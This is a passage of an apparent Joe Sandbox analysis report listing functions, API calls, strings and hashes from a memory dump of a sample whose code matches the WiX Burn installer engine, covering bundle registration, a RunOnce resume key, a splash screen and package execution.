CompareStringW.KERNEL32(0000007F,00000000,00000000,000000FF,success,000000FF,?,Type,00000000,?,?,00000000,?,00000001,?), ref: 009C1CB8
CompareStringW.KERNEL32(0000007F,00000000,00000000,000000FF,error,000000FF), ref: 009C1CD6

Strings

Failed to get @Type., xrefs: 009C1DB7
forceReboot, xrefs: 009C1D03
Failed to allocate memory for exit code structs., xrefs: 009C1C43
exeengine.cpp, xrefs: 009C1C39
Type, xrefs: 009C1C90
ExitCode, xrefs: 009C1BBF
success, xrefs: 009C1CA9
Failed to parse @Code value: %ls, xrefs: 009C1D91
Failed to get @Code., xrefs: 009C1D98
error, xrefs: 009C1CC9
Invalid exit code type: %ls, xrefs: 009C1DA7
Failed to get next node., xrefs: 009C1DBE
scheduleReboot, xrefs: 009C1CE5
Code, xrefs: 009C1D25
Failed to select exit code nodes., xrefs: 009C1BDE
Failed to get exit code node count., xrefs: 009C1C03

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CompareHeapString$AllocateProcess
String ID: Code$ExitCode$Failed to allocate memory for exit code structs.$Failed to get @Code.$Failed to get @Type.$Failed to get exit code node count.$Failed to get next node.$Failed to parse @Code value: %ls$Failed to select exit code nodes.$Invalid exit code type: %ls$Type$error$exeengine.cpp$forceReboot$scheduleReboot$success
API String ID: 2664528157-1714101571
Opcode ID: b049157f36335cd695ec0d07c280a9f6d3ded133b10cf66bfd2f4ab73fcfdbf8
Instruction ID: 3cbc5d5f98b03c24da6ac96600aafd9c1a800c2197e6016e764bbe27ac4d9990
Opcode Fuzzy Hash: b049157f36335cd695ec0d07c280a9f6d3ded133b10cf66bfd2f4ab73fcfdbf8
Instruction Fuzzy Hash: 9061E731D4421ABBCB119F95CC41FAE7BA9EF82720F204659F522AB2D2CB749E40C795

Function 009E77F7 Relevance: 33.5, APIs: 8, Strings: 11, Instructions: 206COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,rel,000000FF,?,?,?,00000000), ref: 009E7857
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,href,000000FF), ref: 009E787C
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,length,000000FF), ref: 009E789C
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,title,000000FF), ref: 009E78CF
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,type,000000FF), ref: 009E78EB
SysFreeString.OLEAUT32(00000000), ref: 009E7916
SysFreeString.OLEAUT32(00000000), ref: 009E798D
SysFreeString.OLEAUT32(00000000), ref: 009E79D9

Strings

href, xrefs: 009E786E
feclient.dll, xrefs: 009E7889
type, xrefs: 009E78DD
length, xrefs: 009E788E
title, xrefs: 009E78C1
rel, xrefs: 009E784A
comres.dll, xrefs: 009E78A6
msi.dll, xrefs: 009E7975
`<u, xrefs: 009E7916, 009E798D, 009E79D9
msasn1.dll, xrefs: 009E79C7
version.dll, xrefs: 009E78FA

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: String$Compare$Free
String ID: `<u$comres.dll$feclient.dll$href$length$msasn1.dll$msi.dll$rel$title$type$version.dll
API String ID: 318886736-782967201
Opcode ID: f0ab7089a329b100c1750fb6cd44b79c479bf99e552e939148ea69a1e8785169
Instruction ID: 6af694cbdf9dc2cad8a1616177c68f6f2d247f698f74790470616a5a00acd0d6
Opcode Fuzzy Hash: f0ab7089a329b100c1750fb6cd44b79c479bf99e552e939148ea69a1e8785169
Instruction Fuzzy Hash: 55616E71908259FBDB16DBD5CC85FAEF7B8AF04320F2046A5E521A71E1D730AE10DB91

Function 009B6BCA Relevance: 31.9, APIs: 6, Strings: 12, Instructions: 351synchronizationthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 009AD4A8: EnterCriticalSection.KERNEL32(000000D0,?,000000B8,00000000,?,009B7040,000000B8,00000000,?,00000000,75C0B390), ref: 009AD4B7
Part of subcall function 009AD4A8: InterlockedCompareExchange.KERNEL32(000000E8,00000001,00000000), ref: 009AD4C6
Part of subcall function 009AD4A8: LeaveCriticalSection.KERNEL32(000000D0,?,009B7040,000000B8,00000000,?,00000000,75C0B390), ref: 009AD4DB

CreateThread.KERNEL32(00000000,00000000,009B57BD,?,00000000,00000000), ref: 009B6E34
GetLastError.KERNEL32(?,?,?,?,?,?,?,009A4522,?,009EB500,?,009A4846,?,?), ref: 009B6E43
CloseHandle.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,009A4522,?,009EB500,?,009A4846,?,?), ref: 009B6EA0
ReleaseMutex.KERNEL32(00000000,?,00000000,?,00000000,00000001,00000000), ref: 009B6F92
CloseHandle.KERNEL32(00000000), ref: 009B6F9B
CloseHandle.KERNEL32(crypt32.dll,?,00000000,?,00000000,00000001,00000000), ref: 009B6FB5

Part of subcall function 009CBD05: SetThreadExecutionState.KERNEL32(80000001), ref: 009CBD0A

Strings

Failed while caching, aborting execution., xrefs: 009B6E98
UX aborted apply begin., xrefs: 009B6C94
Failed to register bundle., xrefs: 009B6DEE
Failed to create cache thread., xrefs: 009B6E71
Failed to cache engine to working directory., xrefs: 009B6D71
Engine cannot start apply because it is busy with another action., xrefs: 009B6C28
core.cpp, xrefs: 009B6C8A, 009B6E67
Another per-user setup is already executing., xrefs: 009B6CD8
Failed to elevate., xrefs: 009B6D94
Failed to set initial apply variables., xrefs: 009B6D02
crypt32.dll, xrefs: 009B6ECD, 009B6EE7, 009B6FB4
Another per-machine setup is already executing., xrefs: 009B6DC8

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseHandle$CriticalSectionThread$CompareCreateEnterErrorExchangeExecutionInterlockedLastLeaveMutexReleaseState
String ID: Another per-machine setup is already executing.$Another per-user setup is already executing.$Engine cannot start apply because it is busy with another action.$Failed to cache engine to working directory.$Failed to create cache thread.$Failed to elevate.$Failed to register bundle.$Failed to set initial apply variables.$Failed while caching, aborting execution.$UX aborted apply begin.$core.cpp$crypt32.dll
API String ID: 2169948125-4292671789
Opcode ID: e80727ef0452d2f551e53b09526000dd25ff46525a6c4de3ecfa644dc8901e56
Instruction ID: 5bd59d70e9e9309ab7e7fe9ef6558d1763bb51dc6cbd706a6014be1e097df0f9
Opcode Fuzzy Hash: e80727ef0452d2f551e53b09526000dd25ff46525a6c4de3ecfa644dc8901e56
Instruction Fuzzy Hash: 83C1B572901219EBDF119F94CD85BFE36B8EF84725F044179FE09AE181DB78A940CBA1

Function 009E8134 Relevance: 31.8, APIs: 9, Strings: 9, Instructions: 309COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,http://appsyndication.org/2006/appsyn,000000FF,00000000,00000000,000002C0,00000410), ref: 009E8161
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,application,000000FF), ref: 009E817C
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,upgrade,000000FF), ref: 009E821F
CompareStringW.KERNEL32(0000007F,00000000,00700079,000000FF,version,000000FF,000002D8,009EB518,00000000), ref: 009E825E
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,exclusive,000000FF), ref: 009E82B1
CompareStringW.KERNEL32(0000007F,00000000,009EB518,000000FF,true,000000FF), ref: 009E82CF
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,version,000000FF), ref: 009E8307
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,enclosure,000000FF), ref: 009E844B

Strings

type, xrefs: 009E81A7
true, xrefs: 009E82C1
exclusive, xrefs: 009E82A3
http://appsyndication.org/2006/appsyn, xrefs: 009E8154
apuputil.cpp, xrefs: 009E836E
enclosure, xrefs: 009E8439
version, xrefs: 009E8250, 009E82F9
application, xrefs: 009E816E
upgrade, xrefs: 009E8211

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CompareString
String ID: application$apuputil.cpp$enclosure$exclusive$http://appsyndication.org/2006/appsyn$true$type$upgrade$version
API String ID: 1825529933-3037633208
Opcode ID: 8d24f34b7e78b1539733268dc2a1b1f9a02467167d6cae6432ef42da4454cc89
Instruction ID: 738d6c88614231b3d2b495b7e26c69e9a214b1487497d91bd1ae5fa02939440c
Opcode Fuzzy Hash: 8d24f34b7e78b1539733268dc2a1b1f9a02467167d6cae6432ef42da4454cc89
Instruction Fuzzy Hash: 36B19331518646ABCB228F95CC81F5B77AAFB44734F214654F939AB2E1EB70ED40CB40

Function 009BE3C8 Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 146registryCOMMON

Download Yara Rule

APIs

Part of subcall function 009BE2AF: LoadBitmapW.USER32(?,00000001), ref: 009BE2E5
Part of subcall function 009BE2AF: GetLastError.KERNEL32 ref: 009BE2F1

LoadCursorW.USER32(00000000,00007F00), ref: 009BE429
RegisterClassW.USER32(?), ref: 009BE43D
GetLastError.KERNEL32 ref: 009BE448
UnregisterClassW.USER32(WixBurnSplashScreen,?), ref: 009BE54D
DeleteObject.GDI32(00000000), ref: 009BE55C

Strings

Failed to create window., xrefs: 009BE4DF
Unexpected return value from message pump., xrefs: 009BE537
Failed to load splash screen., xrefs: 009BE401
Failed to register window., xrefs: 009BE476
WixBurnSplashScreen, xrefs: 009BE436, 009BE548
splashscreen.cpp, xrefs: 009BE46C, 009BE4D5

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ClassErrorLastLoad$BitmapCursorDeleteObjectRegisterUnregister
String ID: Failed to create window.$Failed to load splash screen.$Failed to register window.$Unexpected return value from message pump.$WixBurnSplashScreen$splashscreen.cpp
API String ID: 164797020-2188509422
Opcode ID: bed61f8696aca0cb843a1106462faa93424591adbdf790108adcb876fe6696ef
Instruction ID: f3eb325da638b25c39ffb72b28b19728ad421483abaf395d057d945b446ebc56
Opcode Fuzzy Hash: bed61f8696aca0cb843a1106462faa93424591adbdf790108adcb876fe6696ef
Instruction Fuzzy Hash: FE41B472904259BFDF219BE4DE49AEFBBBDFF04724F100125FA11AA1A0E7749D009B91

Function 009C9DE1 Relevance: 30.0, APIs: 4, Strings: 13, Instructions: 233threadCOMMON

Download Yara Rule

APIs

WaitForMultipleObjects.KERNEL32(00000001,?,00000000,000000FF,00000001,00000000,00000000,?,009CBC85,00000001), ref: 009C9E46
GetLastError.KERNEL32(?,009CBC85,00000001), ref: 009C9FB6
GetExitCodeThread.KERNEL32(00000001,00000000,?,009CBC85,00000001), ref: 009C9FF6
GetLastError.KERNEL32(?,009CBC85,00000001), ref: 009CA000

Strings

Failed to execute MSU package., xrefs: 009C9EFB
Failed to execute package provider registration action., xrefs: 009C9F17
Failed to execute compatible package action., xrefs: 009C9F73
Failed to wait for cache check-point., xrefs: 009C9FE7
Cache thread exited unexpectedly., xrefs: 009CA047
apply.cpp, xrefs: 009C9FDD, 009CA027
Failed to execute dependency action., xrefs: 009C9F36
Invalid execute action., xrefs: 009CA056
Failed to execute EXE package., xrefs: 009C9E7D
Failed to execute MSI package., xrefs: 009C9EA6
Failed to get cache thread exit code., xrefs: 009CA031
Failed to execute MSP package., xrefs: 009C9ECB
Failed to load compatible package on per-machine package., xrefs: 009C9F5C

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$CodeExitMultipleObjectsThreadWait
String ID: Cache thread exited unexpectedly.$Failed to execute EXE package.$Failed to execute MSI package.$Failed to execute MSP package.$Failed to execute MSU package.$Failed to execute compatible package action.$Failed to execute dependency action.$Failed to execute package provider registration action.$Failed to get cache thread exit code.$Failed to load compatible package on per-machine package.$Failed to wait for cache check-point.$Invalid execute action.$apply.cpp
API String ID: 3703294532-2662572847
Opcode ID: ea614b3657b83d7a31db3d1b262d11a60460651bac19b7e96de07331b92a0308
Instruction ID: ee0e4490a91579a1326cfb3e117bf65f9ced16202d0c61344ed124c9fa57e830
Opcode Fuzzy Hash: ea614b3657b83d7a31db3d1b262d11a60460651bac19b7e96de07331b92a0308
Instruction Fuzzy Hash: 7B716C71E0122AEBDB10CFA48945FBE7BB8EB85B54F10456DF905EB240D3749E009BA2

Function 009AF210 Relevance: 29.9, APIs: 3, Strings: 14, Instructions: 183registryCOMMON

Download Yara Rule

APIs

Part of subcall function 009E3AF1: GetVersionExW.KERNEL32(?,?,00000000,?), ref: 009E3B3E

RegCloseKey.ADVAPI32(00000000,?,009F0D10,00020006,00000000,?,00000000,00000000,00000000,?,00000000,00000001,00000000,00000000), ref: 009AF440

Part of subcall function 009E14A6: RegSetValueExW.ADVAPI32(?,00000005,00000000,00000004,?,00000004,00000001,?,009AF28D,009F0D10,Resume,00000005,?,00000000,00000000,00000000), ref: 009E14BB

Strings

Failed to delete run key value., xrefs: 009AF3CE
registration.cpp, xrefs: 009AF3C4, 009AF412
Resume, xrefs: 009AF282
Failed to write Resume value., xrefs: 009AF293
Failed to write run key value., xrefs: 009AF33B
Failed to write resume command line value., xrefs: 009AF35D
BundleResumeCommandLine, xrefs: 009AF348, 009AF3DB
Failed to format resume command line for RunOnce., xrefs: 009AF2F9
burn.runonce, xrefs: 009AF2DA
Installed, xrefs: 009AF2A5
Failed to write Installed value., xrefs: 009AF2B6
"%ls" /%ls, xrefs: 009AF2E5
Failed to create run key., xrefs: 009AF31D
Failed to delete resume command line value., xrefs: 009AF41C

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseValueVersion
String ID: "%ls" /%ls$BundleResumeCommandLine$Failed to create run key.$Failed to delete resume command line value.$Failed to delete run key value.$Failed to format resume command line for RunOnce.$Failed to write Installed value.$Failed to write Resume value.$Failed to write resume command line value.$Failed to write run key value.$Installed$Resume$burn.runonce$registration.cpp
API String ID: 2348918689-2631711097
Opcode ID: f69bbbea66d0501c6032a6ee87d960c51d5b79e05fb570288696ff48c4a28f99
Instruction ID: 8e3c89fd96e53ded5847eab64df47d41453d133f9bb639f216a66ceae93e3756
Opcode Fuzzy Hash: f69bbbea66d0501c6032a6ee87d960c51d5b79e05fb570288696ff48c4a28f99
Instruction Fuzzy Hash: 4151F532D4136AFBCF219AE0CC5ABBFB6A8EB85754F114535FA00B61A1EB749D1097C0

Function 009CCC91 Relevance: 29.9, APIs: 7, Strings: 10, Instructions: 174processCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(74DE8FB0,00000002,00000000), ref: 009CCC9D

Part of subcall function 009B4D8D: UuidCreate.RPCRT4(?), ref: 009B4DC0

CreateProcessW.KERNEL32(?,?,00000000,00000000,00000001,08000000,00000000,00000000,?,009C2401,?,?,00000000,?,?,?), ref: 009CCD7B
GetLastError.KERNEL32(?,?,00000000,?,?,?,?), ref: 009CCD85
GetProcessId.KERNEL32(009C2401,?,?,00000000,?,?,?,?), ref: 009CCDBD

Part of subcall function 009B54DC: lstrlenW.KERNEL32(?,?,00000000,?,009EB500,?,00000000,?,009A452F,?,009EB500), ref: 009B54FD
Part of subcall function 009B54DC: GetCurrentProcessId.KERNEL32(?,009A452F,?,009EB500), ref: 009B5508
Part of subcall function 009B54DC: SetNamedPipeHandleState.KERNEL32(?,000000FF,00000000,00000000,?,009A452F,?,009EB500), ref: 009B553F
Part of subcall function 009B54DC: ConnectNamedPipe.KERNEL32(?,00000000,?,009A452F,?,009EB500), ref: 009B5554
Part of subcall function 009B54DC: GetLastError.KERNEL32(?,009A452F,?,009EB500), ref: 009B555E
Part of subcall function 009B54DC: Sleep.KERNEL32(00000064,?,009A452F,?,009EB500), ref: 009B5593
Part of subcall function 009B54DC: SetNamedPipeHandleState.KERNEL32(?,00000000,00000000,00000000,?,009A452F,?,009EB500), ref: 009B55B6
Part of subcall function 009B54DC: WriteFile.KERNEL32(?,crypt32.dll,00000004,00000000,00000000,?,009A452F,?,009EB500), ref: 009B55D1
Part of subcall function 009B54DC: WriteFile.KERNEL32(?,009A452F,009EB500,00000000,00000000,?,009A452F,?,009EB500), ref: 009B55EC
Part of subcall function 009B54DC: WriteFile.KERNEL32(?,?,00000004,00000000,00000000,?,009A452F,?,009EB500), ref: 009B5607

Part of subcall function 009E0A28: WaitForSingleObject.KERNEL32(000000FF,?,00000000,?,?,009A4F1C,?,000000FF,?,?,?,?,?,00000000,?,?), ref: 009E0A38
Part of subcall function 009E0A28: GetLastError.KERNEL32(?,?,009A4F1C,?,000000FF,?,?,?,?,?,00000000,?,?,?,?,?), ref: 009E0A46

CloseHandle.KERNEL32(00000000,?,000000FF,00000000,?,009CCBEF,?,?,?,?,?,00000000,?,?,?,?), ref: 009CCE41
CloseHandle.KERNEL32(00000000,?,000000FF,00000000,?,009CCBEF,?,?,?,?,?,00000000,?,?,?,?), ref: 009CCE50
CloseHandle.KERNEL32(00000000,?,?,000000FF,00000000,?,009CCBEF,?,?,?,?,?,00000000,?,?,?), ref: 009CCE67

Strings

%ls -%ls %ls %ls %u, xrefs: 009CCD40
Failed to wait for embedded executable: %ls, xrefs: 009CCE24
Failed to allocate embedded command., xrefs: 009CCD54
burn.embedded, xrefs: 009CCD38
Failed to create embedded pipe., xrefs: 009CCD27
Failed to create embedded process at path: %ls, xrefs: 009CCDB3
Failed to create embedded pipe name and client token., xrefs: 009CCD00
embedded.cpp, xrefs: 009CCDA6
Failed to process messages from embedded message., xrefs: 009CCE04
Failed to wait for embedded process to connect to pipe., xrefs: 009CCDDF

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Handle$Process$CloseErrorFileLastNamedPipeWrite$CreateCurrentState$ConnectObjectSingleSleepUuidWaitlstrlen
String ID: %ls -%ls %ls %ls %u$Failed to allocate embedded command.$Failed to create embedded pipe name and client token.$Failed to create embedded pipe.$Failed to create embedded process at path: %ls$Failed to process messages from embedded message.$Failed to wait for embedded executable: %ls$Failed to wait for embedded process to connect to pipe.$burn.embedded$embedded.cpp
API String ID: 875070380-3803182736
Opcode ID: 1a41986292a0458d5a68438e57398bdfbd5c9442ddea89147778069041d17915
Instruction ID: bf9dce18c48553659d5f1c14d41d55252d60432ce45f3223738a116b5580ebc2
Opcode Fuzzy Hash: 1a41986292a0458d5a68438e57398bdfbd5c9442ddea89147778069041d17915
Instruction Fuzzy Hash: 27516EB2D4022DBBDF129B94DC46FDEBFB8AB08720F110525FA05B6191D7749E409BD2

Function 009AECBE Relevance: 29.9, APIs: 2, Strings: 15, Instructions: 173COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 009AEE4C

Part of subcall function 009A394F: GetProcessHeap.KERNEL32(?,000001C7,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3960
Part of subcall function 009A394F: RtlAllocateHeap.NTDLL(00000000,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3967

SysFreeString.OLEAUT32(?), ref: 009AEE04

Strings

Path, xrefs: 009AEDB2
registration.cpp, xrefs: 009AED41
Failed to get SoftwareTag text., xrefs: 009AEE8B
Failed to convert SoftwareTag text to UTF-8, xrefs: 009AEE81
Failed to allocate memory for software tag structs., xrefs: 009AED4B
Regid, xrefs: 009AED9A
Filename, xrefs: 009AED7F
Failed to get @Path., xrefs: 009AEE95
Failed to get @Filename., xrefs: 009AEEA9
Failed to select software tag nodes., xrefs: 009AECEE
SoftwareTag, xrefs: 009AECCD
`<u, xrefs: 009AEE04, 009AEE4C
Failed to get software tag count., xrefs: 009AED13
Failed to get next node., xrefs: 009AEEB3
Failed to get @Regid., xrefs: 009AEE9F

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: FreeHeapString$AllocateProcess
String ID: Failed to allocate memory for software tag structs.$Failed to convert SoftwareTag text to UTF-8$Failed to get @Filename.$Failed to get @Path.$Failed to get @Regid.$Failed to get SoftwareTag text.$Failed to get next node.$Failed to get software tag count.$Failed to select software tag nodes.$Filename$Path$Regid$SoftwareTag$`<u$registration.cpp
API String ID: 336948655-956346883
Opcode ID: 21e9d7cc4868a8df3ed208d1730d95cfe2cfcef55476f8e7dd97fb8bde2f6e66
Instruction ID: 15e12daf1e58bf90f5fedfa63f644420aaa669370365f1b02eaf2303608dd694
Opcode Fuzzy Hash: 21e9d7cc4868a8df3ed208d1730d95cfe2cfcef55476f8e7dd97fb8bde2f6e66
Instruction Fuzzy Hash: 93518F31E0172AFBCB15DF99C885EAEB7B8BF45714F2045A9BA15AB250C771DE0087D0

Function 009E7F7E Relevance: 29.9, APIs: 8, Strings: 9, Instructions: 153stringCOMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(0000007F,00000000,msi.dll,000000FF,http://appsyndication.org/2006/appsyn,000000FF,00000000,00000000,000002C0,?,009E8468,00000001,?), ref: 009E7F9E
CompareStringW.KERNEL32(0000007F,00000000,digest,000000FF,002E0069,000000FF,?,009E8468,00000001,?), ref: 009E7FB9
CompareStringW.KERNEL32(0000007F,00000000,name,000000FF,002E0069,000000FF,?,009E8468,00000001,?), ref: 009E7FD4
CompareStringW.KERNEL32(0000007F,00000000,algorithm,000000FF,?,000000FF,?,009E8468,00000001,?), ref: 009E8040
CompareStringW.KERNEL32(0000007F,00000001,md5,000000FF,?,000000FF,?,009E8468,00000001,?), ref: 009E8064
CompareStringW.KERNEL32(0000007F,00000001,sha1,000000FF,?,000000FF,?,009E8468,00000001,?), ref: 009E8088
CompareStringW.KERNEL32(0000007F,00000001,sha256,000000FF,?,000000FF,?,009E8468,00000001,?), ref: 009E80A8
lstrlenW.KERNEL32(006C0064,?,009E8468,00000001,?), ref: 009E80C3

Strings

name, xrefs: 009E7FCB
sha256, xrefs: 009E809F
msi.dll, xrefs: 009E7F98
md5, xrefs: 009E805B
http://appsyndication.org/2006/appsyn, xrefs: 009E7F91
sha1, xrefs: 009E807F
digest, xrefs: 009E7FB0
apuputil.cpp, xrefs: 009E80DB
algorithm, xrefs: 009E8037

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CompareString$lstrlen
String ID: algorithm$apuputil.cpp$digest$http://appsyndication.org/2006/appsyn$md5$msi.dll$name$sha1$sha256
API String ID: 1657112622-2492263259
Opcode ID: a98ed16c07e5ff881c59f4b2a91037ef6fde48df7b3f448d2c2784e49aaa9a43
Instruction ID: 557d951da6bb45bfca6fdc06501189da6863b791ebd2f848a2832d816ee74386
Opcode Fuzzy Hash: a98ed16c07e5ff881c59f4b2a91037ef6fde48df7b3f448d2c2784e49aaa9a43
Instruction Fuzzy Hash: FF51D43168C652BBDB214F85DC85F57BA65FB15731F204B04F638AE2E1CBA5EC508790

Function 009AA03E Relevance: 28.2, APIs: 1, Strings: 15, Instructions: 215COMMON

Download Yara Rule

APIs

_MREFOpen@16.MSPDB140-MSVCRT ref: 009AA0B6

Strings

VersionString, xrefs: 009AA0A6, 009AA131, 009AA147, 009AA15B, 009AA174, 009AA188
AssignmentType, xrefs: 009AA091
Trying per-machine extended info for property '%ls' for product: %ls, xrefs: 009AA148
Failed to change value type., xrefs: 009AA21D
Failed to format GUID string., xrefs: 009AA0C1
Language, xrefs: 009AA09F
Product or related product not found: %ls, xrefs: 009AA1A1
Failed to copy upgrade code., xrefs: 009AA116
Failed to set variable., xrefs: 009AA23C
Trying per-user extended info for property '%ls' for product: %ls, xrefs: 009AA175
MsiProductSearch failed: ID '%ls', HRESULT 0x%x, xrefs: 009AA24F
Failed to enumerate related products for upgrade code., xrefs: 009AA0F1
State, xrefs: 009AA098
Unsupported product search type: %u, xrefs: 009AA07E
Failed to get product info., xrefs: 009AA1E3

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

